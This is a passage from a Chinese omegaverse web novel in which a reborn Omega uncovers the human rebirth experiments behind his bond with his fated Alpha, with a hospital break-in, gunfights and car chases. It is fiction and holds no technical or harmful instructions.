"那就解释啊!"程予乐声音拔高,"告诉我,前世我们的''错过''是不是你们安排的?告诉我,这次重生是不是只是实验的一部分?告诉我——"他哽咽了,"你到底爱的是实验体417,还是程予乐?" 裴瑾沉默。这沉默比任何回答都残忍。 程予乐突然笑了,眼泪却止不住:"我真是个傻子。那些''巧合'',那些''命中注定''...全是你们计算好的,对吧?" "不全是。"裴瑾终于开口,声音低沉,"我确实...在实验室见过你。但当时的记忆很模糊,像是梦..."他试图靠近,"直到这次重逢,我才确定——" "确定什么?"程予乐后退,"确定实验成功了?确定我这个小白鼠乖乖按计划爱上了研究员?" 裴瑾眼中闪过一丝痛色:"不是这样。" "那是怎样?"程予乐猛地撕下后颈的腺体贴,甜橙信息素如洪水般爆发,"用你的科学分析啊,裴研究员!这种反应也是实验数据吗?" 雪松信息素本能地回应,两种气息在空中碰撞、交融,形成那种独特的温暖香气。曾经让程予乐安心的味道,现在只让他作呕。 "别..."裴瑾脸色突然变得惨白,捂住胸口单膝跪地,"程予乐...停下..." Alpha的心悸症发作了。换作往常,程予乐会立刻收敛信息素,递上药和水。但现在,他只是冷冷地看着。 "演得真像。"他轻声说,"不愧是首席研究员。" 裴瑾抬头,琥珀色瞳孔中满是难以置信的痛楚。程予乐转身走向门口,每一步都像踩在刀尖上。 "程予乐!"裴瑾在身后喊,声音破碎,"你去哪?" "离开实验现场。"程予乐没有回头,"这不是标准操作流程吗,裴研究员?" 门关上的瞬间,他听到里面传来一声近乎野兽般的嘶吼,随后是重物倒地的闷响。裴瑾的信息素如暴风雪般席卷整个公寓,即使隔着门也能感受到那股毁天灭地的绝望。 废弃实验室 雨水顺着程予乐的脖颈流进衣领,冰冷刺骨。他站在一栋废弃建筑前,手里攥着216号给的地址纸条,上面的字迹已经被雨水晕开。 城东老工业区,上世纪九十年代的生物制药厂,倒闭多年。铁门上的锁早已锈蚀,轻轻一推就发出刺耳的"吱呀"声。 "你来了。" 216号从阴影中走出,连帽衫被雨水打湿,贴在瘦削的身躯上。他的信息素——那种雨后青苔的气息——在潮湿空气中更加明显。 "这是什么地方?"程予乐环顾四周。废弃实验室里堆满锈迹斑斑的设备,墙皮剥落,天花板漏水形成一个个小水洼。 "时空回溯计划''的前身实验室。"216号领着他穿过走廊,"裴氏接手前,这里是军方资助的''记忆编码项目''。" 程予乐太阳穴突突跳动。随着深入建筑,越来越多的记忆碎片涌来——白色实验室,束缚带,针头刺入后颈的疼痛... "到了。" 216号推开一扇金属门。房间中央是一台类似CT机的设备,旁边控制台上落满灰尘,但键盘和屏幕明显有近期使用过的痕迹。 "他们还在用这里?"程予乐皱眉。 "偶尔。"216号打开一个抽屉,取出文件夹,"当主实验室的数据需要备份,或者...有些实验不想留下记录时。" 程予乐接过文件夹,里面是一沓泛黄的照片。第一张就让他呼吸停滞——年轻的裴父站在一群穿军装的人中间,手里拿着奖状,上面写着"感谢对记忆编码项目的杰出贡献"。 "裴董事长是项目创始人之一。"216号平静地说,"最初目的是培养完美特工——将濒死士兵的记忆植入新身体,实现''重生''。" 程予乐翻到下一页,胃部一阵绞痛。照片上是年幼的裴瑾,不超过十岁,被固定在一台机器前,太阳穴贴着电极片。男孩的表情空洞,琥珀色瞳孔毫无生气。 "他们...在自己儿子身上做实验?" 216号点头:"裴瑾是第一个成功案例。七岁时溺水临床死亡三分钟,被父亲用技术救回,但部分记忆永远停留在死亡瞬间。" 程予乐想起裴瑾的心悸症,后颈的疤痕,对下雨天的厌恶...全是实验留下的创伤。 "后来项目转向民用,目标是商业间谍和精英阶层永生。"216号继续道,"但有个致命问题——普通人的意识无法承受时空跳跃,除非..." "除非有锚点。"程予乐突然明白,"命定伴侣的信息素。" 216号露出赞赏的表情:"聪明。裴瑾发现,高匹配度信息素能稳定意识传输。于是他开始筛选匹配度高的Omega,而你..." "是唯一成功的。"程予乐苦笑,"多么荣幸。" "不全是运气。"216号调出一段视频,"看这个。" 画面中是前世30岁的裴瑾,穿着白大褂在实验室踱步。林医生正在汇报:"实验体417再次失败,意识上传后无法锚定。" "终止实验。"裴瑾的声音冰冷,"他已经承受太多次了。" "但董事长要求——" "我说终止。"裴瑾一拳砸在墙上,"他的信息素紊乱已经很严重了,再这样下去会..." 视频突然中断。程予乐心跳如鼓,这段对话的时间点...正是他前世车祸前不久。 "他叫停了实验。"216号轻声说,"但你后来还是出了车祸。" 程予乐头痛欲裂,更多碎片闪现——急救室的灯光,呼吸机的声响,一个熟悉的声音在耳边说"再试一次,就一次..." "所以我的重生...是裴瑾做的?" "部分是。"216号表情复杂,"他本想让你安息,但林医生背后的人...另有安排。" "谁?" 216号刚要回答,整栋建筑突然剧烈震动!天花板碎片簌簌落下,远处传来爆炸声。 "他们找到这里了!"216号拽过程予乐就跑,"后门!" 两人跌跌撞撞穿过走廊,身后传来沉重的脚步声和喊叫声。程予乐心跳快得要冲出胸腔,甜橙信息素不受控制地溢出。 "这边!"216号推开一扇安全门,冷风裹着雨水扑面而来。他们冲进一条小巷,身后爆炸的火光将夜空染红。 跑出三个街区后,216号才停下,弯腰喘气:"暂时...安全了。" 程予乐撑着膝盖,胃里翻江倒海。过度紧张加上记忆闪回,他的头像是要裂开一样。 "听着,"216号抓住他肩膀,"裴瑾对你隐瞒了很多,但他不是主谋。林医生效忠的另有其人,那人想利用你的能力——" 一阵尖锐耳鸣打断了216号的话。程予乐跪倒在地,眼前闪过陌生画面: 豪华办公室里,裴父将一份文件推给林医生:"清除裴瑾的相关记忆,他太感情用事了。" 林医生点头:"那实验体417?" "按原计划进行。如果匹配度真如你所说99%,那么他们的孩子将是完美的..." 画面切换,前世的裴瑾跪在一座墓前,雨水打湿了他的银白发丝。墓碑上赫然写着"程予乐"。Alpha手中攥着两张电影票,肩膀颤抖得像个迷路的孩子。 "程予乐!"216号的呼唤将他拉回现实,"你还好吗?" 程予乐满嘴血腥味,原来是自己咬破了嘴唇。他勉强站起身:"我看到了...裴瑾在我墓前..." 216号眼神复杂:"他找了你十年。从第一次实验失败就开始找,直到你出车祸。" "为什么不告诉我这些?" "因为不确定裴瑾现在是否知情。"216号压低声音,"这个时间线的他,可能还被蒙在鼓里。" 程予乐突然想到什么:"那个孩子...裴父说的''完美的孩子''是什么意思?" 216号没有直接回答,而是反问:"你知道为什么选Omega做实验体吗?" 程予乐摇头。 "因为生育。"216号的声音冷得像冰,"高匹配度伴侣的后代,天生携带时空锚定基因。他们想要的不只是重生技术,而是一个全新的...种族。" 程予乐如坠冰窟。所以从一开始,他就只是个生育工具? "裴瑾知道这个吗?" "我不确定。"216号递给他一部一次性手机,"里面有所有资料。现在你得走了,他们很快会追踪到这里。" "你呢?" "我还有其他同伴要通知。"216号推他走向主街,"记住,别回裴瑾那儿,也别去学校。找个安全的地方..." 话音未落,一声消音手枪的闷响传来。216号身体猛地一颤,胸口绽开一朵血花。 "跑!"他拼尽最后力气推开程予乐,"别回头!" 程予乐本能地冲向人群,身后传来第二声枪响。泪水模糊了视线,但他不敢停下,一直跑到地铁站才瘫坐在长椅上,浑身发抖。 手机在口袋里震动。是周浩,连续十几条信息: 【你去哪了?】 【裴瑾疯了!易感期狂暴状态,整个医疗中心都封锁了】 【医生说他一直在喊你的名字】 【看到速回!】 最后一条附了视频。画面中,裴瑾被束缚带固定在病床上,银白发丝被汗水浸透,琥珀色瞳孔完全扩散。雪松信息素浓到几乎肉眼可见,几个穿防护服的医护人员根本无法靠近。 "程予乐...程予乐..."Alpha的声音嘶哑得不像人类,更像受伤的野兽。 视频突然晃动,传来林医生的声音:"注射镇静剂!等等,信息素浓度超标了,他会心脏骤停——" 画面中断。程予乐死死咬住拳头才没哭出声。理智告诉他应该远离这个骗局,但身体却背叛了他——后颈腺体突突跳动,甜橙信息素不受控制地溢出,仿佛在回应远方Alpha的痛苦呼唤。 他颤抖着打开216号给的那部手机。里面有一个文件夹,标注着"417号全记录"。 最新一段视频是三天前拍的。画面中,裴瑾和林医生在争执。 "我说过停止所有实验!"裴瑾一拳砸在桌上,"他的记忆闪回越来越频繁,再这样下去会脑死亡!" 林医生冷笑:"董事长的命令是继续观察。再说,这不正是你想要的吗?第二次机会。" "我想要的是他活着!"裴瑾的声音破碎,"而不是作为实验体...不是这样..." 视频结束。程予乐呆坐在长椅上,雨水从发梢滴落。太多信息,太多可能性,他的头痛得像要裂开。 裴瑾到底是谁?冷酷的研究员?被利用的实验品?还是...真心爱他的Alpha? 手机突然震动,一条新消息弹出: 【想救裴瑾吗?他现在的状态撑不过24小时。一个人来这个地址,别告诉任何人。——一个朋友】 附带的地址是城郊一家私人医院。程予乐盯着屏幕,心跳如雷。 这是个陷阱。但他别无选择。 站起身时,一阵剧痛突然刺穿太阳穴。程予乐踉跄着扶住墙壁,眼前闪过最后的画面—— 前世的自己漂浮在液体中,实验室突然警报大作。穿白大褂的裴瑾冲进来,打碎玻璃舱,将他抱出... "这次换我救你。"现实与记忆中的声音重叠。 程予乐擦干眼泪,走向地铁出口。无论真相如何,有一件事他很确定:他不能再失去裴瑾,就像裴瑾曾经不愿失去他一样。 即使这一切始于谎言,他们的感情也已经超越了实验的范畴。 雨停了。夜空中隐约可见几颗星星。程予乐深吸一口气,迈步踏入夜色中。 信息素囚笼 计程车在郊区公路停下,程予乐付完钱,望向不远处那栋白色建筑——安康私立医院,招牌上的LED灯坏了一半,"康"字只剩下模糊的光晕。 凌晨3:27,整栋建筑只有三楼亮着灯。程予乐躲在围墙外的树丛里,手机屏幕幽光照亮他苍白的脸。216号给的资料里有这所医院的平面图,但真正面对时,心跳还是快得发疼。 后颈腺体突突跳动,甜橙信息素不受控制地溢出。自从离开裴瑾,他的信息素就没稳定过。现在更糟——隔着这么远,他都能感受到空气中那股暴乱的雪松气息,像一场无形的风暴从三楼窗口喷涌而出。 裴瑾在那里,而且情况很不好。 手机震动,又一条来自周浩的信息:【医生说裴瑾信息素水平超标三倍,再这样下去会心脏衰竭】 程予乐咬破嘴唇。普通Alpha易感期最多持续72小时,但命定伴侣分离时,症状会呈指数级恶化。从图书馆分开到现在...已经28小时了。 他翻出一次性手机里最后一段视频——裴瑾被束缚带固定在病床上,银白发丝被汗水浸透,琥珀色瞳孔完全扩散。医护人员试图注射镇静剂,但针头根本无法接近他暴起青筋的手臂。 "程予乐...程予乐..."Alpha的呼唤像受伤野兽的哀嚎,撕裂程予乐的耳膜。 视频结束。程予乐深吸一口气,点开医院平面图。正门有保安,后门需要员工卡,通风管道太窄...只剩一个选择:地下车库的货运电梯。 雨水再次落下,为他提供了最佳掩护。程予乐弓着腰穿过停车场,黑色卫衣与夜色融为一体。车库摄像头年久失修,只有一个还在运转——他捡起石子,精准击中镜头连接处。 "前世学的黑客技术没想到用在这儿..."程予乐苦笑,溜进货运电梯。 电梯上升时,头痛突然袭来。程予乐跪倒在地,眼前闪过陌生画面——前世的自己躺在手术台上,林医生举着针剂靠近,而裴瑾破门而入... "叮"的一声,电梯到达三楼。程予乐甩开记忆碎片,贴着墙壁前进。走廊尽头有两个穿黑西装的保镖,腰间鼓鼓的明显是武器。 "实验区"的金属牌在昏暗灯光下泛着冷光。程予乐屏住呼吸,从背包掏出一个小装置——自制信号干扰器,材料来自电子市场。他按下开关,走廊灯光闪烁几下,熄灭了。 "怎么回事?"保镖之一摸向对讲机,只有嘈杂的电流声。 程予乐趁机溜到转角处,甜橙信息素不自觉地溢出。下一秒,整层楼的警报器突然尖啸起来! "信息素检测警报!有Omega闯入!" 脚步声从四面八方涌来。程予乐顾不得隐藏,冲向最里面那扇门——雪松气息的源头。门锁着,电子屏显示"最高警戒"。 "站住!"保镖在身后怒吼。 程予乐掏出裴瑾给他的银色手环——内侧刻着P&Y的那只——贴在感应器上。门锁"滴"的一声,绿灯亮起。 "怎么可能..."保镖难以置信地瞪大眼,"那是裴少爷的私人——" 程予乐已经冲了进去。扑面而来的雪松气息如飓风般将他钉在原地,甜橙信息素本能地爆发,两种气息在空中碰撞、纠缠。 房间中央,裴瑾被束缚带固定在特制病床上,手腕和脚踝磨出血痕。Alpha双目紧闭,银白发丝湿漉漉地贴在额前,胸膛剧烈起伏。各种监测仪器发出刺耳警报,信息素水平全部爆表。 "裴瑾!"程予乐扑到床边,手指颤抖着抚上Alpha滚烫的脸颊。 裴瑾猛地睁开眼,琥珀色瞳孔完全扩散,几乎看不到眼白。他剧烈挣扎起来,束缚带深深勒进肌肉:"程...予...乐..." "我在这里。"程予乐释放出更多甜橙信息素,轻轻揉捏裴瑾后颈发烫的腺体,"没事了,我来了..." 门被撞开,林医生带人冲进来:"抓住他!" 程予乐头也不回,撕下自己后颈的阻隔贴,甜橙混蜂蜜的气息如洪水般涌出。奇迹发生了——两种信息素在空中完美交融,形成那种独特的"冬日烤橙"香气。裴瑾的挣扎渐渐平息,扩散的瞳孔开始聚焦。 "不可能..."林医生停下脚步,"没有注射抑制剂的情况下..." 程予乐趁机解开裴瑾的束缚带。Alpha一获自由就将他紧紧搂住,鼻尖深深埋进他颈窝,贪婪地呼吸着甜橙气息,像溺水者抓住浮木。 "警戒解除。"一个威严的声音从门口传来,"所有人出去。" 程予乐抬头——裴父站在门口,西装革履,面容冷峻。林医生不甘地瞪了程予乐一眼,带人退了出去。 房间突然安静,只剩下监测仪的"滴滴"声和裴瑾粗重的呼吸。裴父走近,审视着抱在一起的两人:"99%的匹配度...果然非同凡响。" 程予乐本能地护住裴瑾:"你想干什么?" "救我的儿子。"裴父按下床头的通讯器,"准备镇静剂和营养液,裴少爷需要..." "不需要。"裴瑾突然开口,声音嘶哑但清晰,"只要他。" 裴父的眼神变得复杂:"你知道自己在说什么吗?实验还没结束,数据收集..." "去你的实验!"裴瑾撑起身子,将程予乐护在身后,"我退出了。" 裴父眯起眼:"就为了这个Omega?你忘了我们的目标?忘了你母亲是怎么..." "闭嘴!"裴瑾的信息素突然变得暴戾,"你没资格提她!" 程予乐感到裴瑾的手臂在发抖,急忙握住他的手:"别激动,你的心脏..." 裴父的表情微妙地变了:"看来他告诉了你不少事。"他整了整领带,"可惜不全。你知道他第一次见你就认出你了吗?知道他从始至终都在记录你的数据吗?" 程予乐咬唇。这正是他最害怕的真相。 "父亲。"裴瑾的声音冷得像冰,"够了。" "怎么,不敢让他知道?"裴父冷笑,"那我来告诉你,程予乐。我儿子七岁就成为第一个成功案例,十八岁接手项目。他筛选了416个实验体,只有你——第417号,成功了。知道为什么吗?" 程予乐的手被裴瑾握得生疼。 "因为他在前世就认识你。"裴父俯身,"他记得你,所以故意选了你。这一切,包括你们的''爱情'',都是实验的一部分。" 程予乐眼前发黑,记忆碎片如潮水般涌来—— 前世办公室里,同事闲聊:"听说裴氏继承人和蓝海千金联姻了?" 医院走廊,医生摇头:"如果有命定Alpha的话..." 车祸瞬间,一个声音说:"再试一次..." "不是这样的。"裴瑾捧住他的脸,"程予乐,看着我。" Alpha的琥珀色瞳孔满是痛楚,雪松气息温柔地包裹着他:"我确实...在实验室见过你。但当时的记忆很模糊,像是梦。直到这次重逢,我才确定..." "确定实验成功了?"程予乐声音发抖。 "确定我爱上你了。"裴瑾额头抵住他的,"与实验无关,与匹配度无关...只是因为是你。" 裴父突然大笑:"感人至深。可惜..."他按下手表某个按钮,"数据不会说谎。" 房间投影亮起,显示出一段监控录像——前世的裴瑾站在实验室里,面前是漂浮在液体中的程予乐。 "记录:实验体417第23次尝试。"视频里的裴瑾声音冷静,"量子锚点稳定,准备意识上传。" 程予乐如坠冰窟。这就是真相?他只是一串数据,一个实验品? "继续播放。"现在的裴瑾冷声道。 视频继续。当仪器启动时,前世的裴瑾突然扯下电极:"终止实验!他的脑电波太不稳定了!" 林医生阻拦:"但董事长要求——" "我说终止!"前世的裴瑾一拳砸在控制台上,"他已经承受太多次了,再这样下去会脑死亡!" 画面切换,前世的裴瑾独自站在监控室,看着屏幕中昏迷的程予乐,手指轻触影像中Omega的脸:"对不起...再等等我..." 视频结束。程予乐呼吸急促,头痛欲裂。两个裴瑾的形象在脑海中撕扯——冷酷的研究员和温柔的Alpha,哪个才是真的? "他隐瞒了最关键的部分。"裴父冷笑,"那次实验后,董事会决定换人接手项目。而你的车祸...真是巧合吗?" 程予乐猛地抬头:"什么意思?" "意思是,"裴父整了整袖口,"有人等不及要尝试新方法了。" 裴瑾突然暴起,信息素如海啸般冲向裴父:"你...参与了?" 裴父后退一步,脸色微变:"注意你的言辞。我是你父亲,更是这个项目的创始人。" "创始人?"裴瑾冷笑,"还是傀儡?" 父子对峙间,程予乐的头痛达到顶峰。更多碎片闪现—— 实验室里,林医生对着电话说:"按计划进行,董事长已经同意了..." 雨夜中,刹车失灵的车冲向护栏... 最后时刻,一个声音说:"这次换我救你..." "够了!"程予乐抱住头跪倒在地,甜橙信息素失控爆发。裴瑾立刻回到他身边,雪松气息温柔地包裹住他。 "我们走。"裴瑾扶起他,冷冷地看向裴父,"实验结束了。" 裴父意味深长地笑了:"你确定要放弃一切?继承人身份,研究成果,还有..."他看向程予乐,"解开他重生秘密的机会?" "我只要他活着。"裴瑾搂紧程予乐,"完整的,自由的活着。" 裴父摇摇头,按下通讯器:"让他们走。" 走廊上,黑衣保镖让开一条路。林医生站在尽头,金丝眼镜后的眼睛闪烁着危险的光:"裴少爷,你会后悔的。" 裴瑾没有回答,只是紧紧搂着程予乐走向电梯。直到坐进车里,程予乐才发现Alpha的后背已经被冷汗浸透,心跳快得不正常。 "你的心悸..." "没事。"裴瑾启动车子,"先离开这里。" 程予乐望向窗外渐亮的天色,思绪万千。太多信息,太多未解的谜团...但此刻,他唯一确定的是,无论前世还是今生,这个Alpha都在用生命保护他。 这就够了。 车子驶上高速时,裴瑾突然开口:"我没有骗你。第一次在教室见到你,我就感觉...熟悉。像是梦里见过千百次。" 程予乐握住他发抖的手:"我相信你。" "但我确实隐瞒了一些事。"裴瑾的声音带着痛苦,"前世实验室里的记忆很模糊,像隔着一层毛玻璃。直到最近,我才完全想起来..." "想起来什么?" "想起来我有多爱你。"裴瑾转头看他,琥珀色瞳孔映着晨光,"即使失去记忆,我的灵魂依然认得你。" 程予乐眼眶发热。他凑过去,轻轻吻在Alpha紧绷的嘴角:"回家吧。" 裴瑾怔了怔,随即加深了这个吻。雪松与甜橙的气息在车内交融,形成那个只属于他们的"冬日烤橙"香气。 阳光穿透云层,洒在挡风玻璃上。程予乐眯起眼,突然看到后视镜里——一辆黑色轿车正不紧不慢地跟着他们。 "裴瑾..." "我知道。"Alpha握紧方向盘,"抓紧了。" 引擎轰鸣,跑车如离弦之箭冲向前方。程予乐最后看了眼后视镜,那辆黑车已经消失在车流中。 但这远未结束,他心知肚明。无论去哪里,那个阴影都会如影随形... 直到他们找出"时空回溯计划"背后真正的黑手。 55. 安全屋 雨水敲打车窗的声音渐渐变小。程予乐望着窗外飞逝的景色,高速路牌显示他们正在离开城区。裴瑾的右手紧握方向盘,左手与他十指相扣,Alpha的体温透过相贴的皮肤传来,比平时高出不少。 "还在易感期?"程予乐轻声问。 裴瑾的喉结滚动了一下:"快结束了。" 但程予乐能感觉到——雪松信息素仍然不稳定,那缕烈酒般的底调时浓时淡。Alpha的易感期通常不会超过72小时,但命定伴侣分离造成的紊乱可能持续更久。 "我们去哪?" "安全屋。"裴瑾简短回答,"我名下的房产,不在裴氏记录里。" 程予乐点点头,拇指无意识地摩挲裴瑾的手背。Alpha的手修长有力,指节处有几处新鲜擦伤,大概是挣脱束缚带时留下的。他想起裴瑾在病床上嘶吼的样子,心脏一阵抽痛。 "疼吗?"他轻声问。 裴瑾摇头,反而握得更紧了些。两人沉默了一会儿,程予乐突然想起什么:"那个216号实验体...他怎么样了?" 裴瑾的下颌线绷紧了:"死了。" 一个字,重若千钧。程予乐胸口发闷,那个有着青苔气息的Beta,最后推他离开时胸口绽开的血花再次浮现在眼前。 "他是故意引你去图书馆的。"裴瑾的声音低沉,"林医生的人一直监视着他。" "但他告诉了我真相..." "不全是真相。"裴瑾瞥了眼后视镜,变道超车,"我父亲确实创立了项目,但三年前控制权就被夺走了。" 程予乐一怔:"被谁?" 裴瑾刚要回答,一辆黑色越野车突然从右侧强行超车,差点擦到他们的后视镜。Alpha本能地释放出防御性信息素,雪松气息瞬间变得锐利。 "坐稳。"裴瑾猛打方向盘,跑车如离弦之箭冲向前方。 程予乐抓紧扶手,回头看到那辆黑车紧追不舍。雨水模糊了车牌,但车窗后那张冷峻的脸一闪而过——是医院里那个穿黑西装的保镖! "他们怎么找到我们的?" "车上有追踪器。"裴瑾冷笑,"我父亲的风格。" 跑车在车流中穿梭,几个惊险的超车后,裴瑾突然拐下高速,驶入一条乡间小路。黑车反应不及,被甩在了后面。 "暂时安全了。"裴瑾松开一点油门,"但不能直接去安全屋。" 他们在郊外绕了将近两小时,确认甩掉尾巴后,才驶向一片隐蔽的别墅区。房子不大,但安保系统一流——指纹锁、虹膜识别,还有信息素验证。 "只有我能打开。"裴瑾将手掌按在识别器上,"除非我死了,否则系统会自毁。" 程予乐心头一颤。这种极端的安全措施,裴瑾到底在防备什么? 门开了。屋内简洁到近乎空旷,只有必要的家具和设备。裴瑾从壁橱里拿出医药箱,示意程予乐坐下:"你的手。" 程予乐这才注意到自己掌心有几个月牙形的伤口,是紧张时指甲掐出来的。裴瑾单膝跪地,为他消毒包扎,动作轻柔得像对待易碎品。 "你还没说完,"程予乐注视着他低垂的银白睫毛,"谁控制了项目?" 裴瑾的手停顿了一秒:"郑国勋。" 这个名字像一块冰滑入胃里。程予乐前世在新闻里见过——郑国勋,政界大佬,表面清廉,背地里掌控着数个灰色产业。 "他和父亲有交易。"裴瑾收起医药箱,"用项目换政治资源。但三年前,他安插林锐进入团队,逐渐架空了我父亲。" 程予乐想起216号的话:"林医生背后还有人..." "郑国勋想要的不只是重生技术。"裴瑾的声音冷得像冰,"而是时空锚定基因的批量生产——一支永远不会真正死亡的军队。" 这个可能性太过骇人,程予乐一时失语。窗外雨声渐大,安全屋的玻璃是特制的,雨滴砸在上面几乎没有声音,像一部默片。 "而你..."程予乐喉咙发紧,"是第一个成功案例。" 裴瑾点头,解开衬衫最上面的两颗纽扣,露出锁骨附近一个极小的圆形疤痕:"七岁那年,我溺水临床死亡三分钟。父亲用未完成的技术救回我,但代价是..."他指了指太阳穴,"部分记忆永远停留在死亡瞬间。" 程予乐想起裴瑾对下雨天的厌恶,心悸症,甚至那个银色耳钉——现在想来,可能是某种神经调节器。 "所以你能理解我的闪回..."程予乐恍然大悟。 "不完全一样。"裴瑾在他身边坐下,"我的记忆是碎片化的,而你...你是完整的时空回溯,理论上不可能实现。" "但郑国勋做到了。" "不。"裴瑾摇头,"是我做的。" 程予乐呼吸一滞。裴瑾继续道:"前世你车祸后,我私自重启实验,想救你。但技术不成熟,我以为失败了..."他看向程予乐,琥珀色瞳孔中情绪翻涌,"直到三个月前,我在学校见到你。" 那个雨天的走廊,甜橙与雪松的初次相遇。程予乐原以为是命运,实则是人为。 "为什么不告诉我?" "我怕..."裴瑾罕见地语塞,"怕你知道后会恨我。你的人生被操控,你的痛苦源于实验...我本想终止一切,但..." "但你爱上了实验品?"程予乐苦笑。 裴瑾猛地抬头:"不。我爱上了你。与实验无关,与匹配度无关...只是你。" 程予乐想说些什么,但一阵剧痛突然刺穿太阳穴。他闷哼一声弯下腰,眼前闪过陌生画面—— 豪华办公室里,郑国勋将一份文件推给裴父:"孩子出生后,立刻移交给我们。" 实验室里,林医生举着针剂走向漂浮在液体中的婴儿... 最后是裴瑾的怒吼:"你们休想碰他!" "程予乐!"现实中的呼唤将他拉回。裴瑾扶着他躺下,雪松信息素温柔地包裹着他,"又闪回了?" 程予乐点头,冷汗浸透后背:"我看到...一个孩子..." 裴瑾脸色骤变:"什么时候的记忆?" "不确定,但感觉很近..."程予乐抓住裴瑾的手,"是我们的孩子吗?他们想要他?" 裴瑾没有立即否认,这个沉默比任何回答都可怕。程予乐突然明白为什么匹配度如此重要——99%的命定伴侣,后代携带时空锚定基因的概率近乎100%。 "我不会让这种事发生。"裴瑾的声音低沉而坚定,"我发誓。" 程予乐想追问,但疲惫如潮水般涌来。重生后的身体似乎比普通人更容易疲劳,加上情绪波动和记忆闪回,他几乎睁不开眼。 "睡吧。"裴瑾轻轻抚摸他的头发,"我守着。" 程予乐在雪松气息的包围中沉入梦乡。梦里,他看到一个银发小男孩在实验室里哭泣,而成年后的裴瑾隔着玻璃,徒劳地拍打透明屏障... 不知过了多久,刺耳的警报声突然响起!程予乐惊醒,发现裴瑾已经站在窗边,手中握着一把枪——他从不知道Alpha随身带武器。 "有人触发了外围防御。"裴瑾声音冷静,但信息素泄露了紧张,"地下室有逃生通道,你先走。" "不!"程予乐跳下床,"一起走。" 裴瑾还想说什么,但窗外突然亮如白昼——探照灯!紧接着是扩音器的声音:"裴少爷,董事长想见您。交出Omega,您还是继承人。" 程予乐浑身发冷。这不是郑国勋的人,而是...裴父的私人安保。 "他撒谎。"裴瑾冷笑,"我早不是继承人了。" 玻璃碎裂的声音从楼下传来。裴瑾一把拉过程予乐,将人护在身后,同时拨通一个号码:"Plan B,现在。" 电话那头传来引擎轰鸣声。裴瑾拽着程予乐冲向书房,推开书架露出隐藏电梯:"下去后直接上车,司机会带你去安全的地方。" "你呢?" "我拖住他们。" 程予乐抓住裴瑾的衣领:"要么一起走,要么一起留!" 裴瑾的瞳孔在黑暗中扩大,两人对峙几秒后,Alpha突然妥协:"好。但你要听我指挥。" 电梯下降到地下室,一条狭窄通道通向车库。那里停着一辆不起眼的灰色轿车,司机是个陌生Beta,见到他们立刻发动引擎。 "去码头。"裴瑾简短命令。 车刚驶出别墅区,后方就出现两辆黑色SUV。司机猛踩油门,轿车在乡间小路上颠簸飞驰。程予乐紧握扶手,后颈腺体突突跳动——危险迫近时,Omega本能地寻求Alpha庇护。 裴瑾的信息素温柔地包裹住他,同时拨通另一个电话:"郑局长,好久不见。" 程予乐瞪大眼睛。郑局长?郑国勋? 电话那头传来低沉的男声:"裴瑾,你比你父亲聪明。但游戏该结束了。" "确实。"裴瑾冷笑,"所以我把''时空回溯计划''的所有资料发给了监察委员会,包括人体实验证据和你的资金流向。" 一阵沉默。程予乐几乎能听到电话那头的磨牙声。 "你以为这样就能赢?"郑国勋的声音变得危险,"我的人已经包围了码头。交出Omega,我可以考虑留你一命。" "抱歉,我不和死人谈条件。"裴瑾挂断电话,转向程予乐,"改变计划,不去码头了。" 司机点头,突然急转弯驶向山区。后方黑车措手不及,一辆撞上护栏,另一辆继续追击。 "我们去哪?"程予乐问。 "机场。"裴瑾检查弹匣,"我有架私人飞机,可以直飞瑞士。" 程予乐心头一暖。瑞士——前世报道里提过,裴瑾母亲在那里有故居。 山路越来越陡,追击者却越来越近。在一个急转弯处,黑车突然加速冲上来,狠狠撞向他们后侧! "小心!" 轿车失控旋转,程予乐眼前天旋地转。安全气囊爆开的瞬间,裴瑾扑过来将他护在身下。一声巨响后,世界归于寂静。 浓烟。刺鼻的汽油味。耳鸣。程予乐艰难地睁开眼,发现车子侧翻在路边,司机不知去向。裴瑾压在他身上,额角流血,但意识清醒。 "能动吗?"Alpha的声音沙哑。 程予乐点头,两人从破碎的车窗爬出。雨又下了起来,冰凉的雨水冲刷着脸上的血迹。黑车停在十几米外,四个黑衣人持枪逼近。 "跑!"裴瑾推了他一把,同时举枪射击。 程予乐冲向路边的树林,身后枪声大作。一根树枝绊倒了他,他摔进泥泞中,回头看见裴瑾且战且退,雪松信息素如暴风雪般席卷战场。 一个黑衣人倒地,另外三个分散包抄。裴瑾的子弹打光了,他扔掉枪,从靴子里抽出一把军刀。 "裴少爷,何必呢?"领头的黑衣人喊话,"董事长只要Omega。" 裴瑾的回答是直接冲上去,军刀在雨中划出冷光。Alpha的动作快得惊人,转眼又放倒一人。但另外两个黑衣人趁机绕后,枪口对准了裴瑾后背! "不!"程予乐尖叫。 千钧一发之际,一辆军用吉普突然冲出,横在双方之间。车门打开,跳下来三个穿战术服的男人,手持冲锋枪。 "裴先生,抱歉来晚了。"领头的向裴瑾敬礼。 援兵?程予乐愣住了。裴瑾什么时候叫的援兵? 黑衣人见势不妙,转身就跑。战术小队没有追击,而是迅速护送裴瑾和程予乐上吉普车。 "去备用机场。"裴瑾命令,随即转向程予乐,"没事了,他们是我母亲旧部的特种兵,绝对可靠。" 程予乐这才注意到裴瑾额头的伤口很深,鲜血顺着脸颊流下。他急忙撕下袖子布料按压伤口:"你需要医生!" "小伤。"裴瑾握住他的手,"重要的是你没事。" 吉普车在雨中疾驰,程予乐靠在裴瑾肩头,听着Alpha有力的心跳。最危险的时候,裴瑾用身体护住他;面对枪口,裴瑾的第一反应是确保他安全逃离。这样的Alpha,他怎么还能怀疑? "对不起。"程予乐轻声说,"我不该怀疑你。" 裴瑾吻了吻他的发顶:"该道歉的是我。如果当初我更强硬地终止实验..." "我们会相遇吗?" 沉默。然后裴瑾说:"会的。无论哪个时空,我都会找到你。" 程予乐眼眶发热。这不是情话,而是事实——前世错过,今生重逢;实验室里隔着玻璃的对视,车祸现场的绝望抢救...裴瑾确实一次又一次地找到了他。 吉普车突然急刹!前方路中央站着一个人——林医生,金丝眼镜反射着车灯,手中举着一个奇怪的装置。 "小心!"裴瑾大喊,但为时已晚。 林医生按下按钮,一道无形的脉冲扩散开来。程予乐瞬间头痛欲裂,眼前闪过无数碎片—— 实验室的白色灯光... 针头刺入后颈的疼痛... 漂浮在液体中的婴儿... 最后是裴瑾的嘶吼:"你们休想碰他!" "记忆诱发器!"裴瑾试图捂住程予乐的耳朵,"别看!别想!" 但痛苦已经席卷全身。程予乐蜷缩起来,甜橙信息素失控爆发。更糟的是,他感到一股热流从鼻腔涌出——是血。 "程予乐!坚持住!"裴瑾的声音仿佛从很远的地方传来。 林医生冷笑着走近:"他撑不过这次了。大脑排异反应会要了他的命,除非..." "除非什么?"裴瑾怒吼。 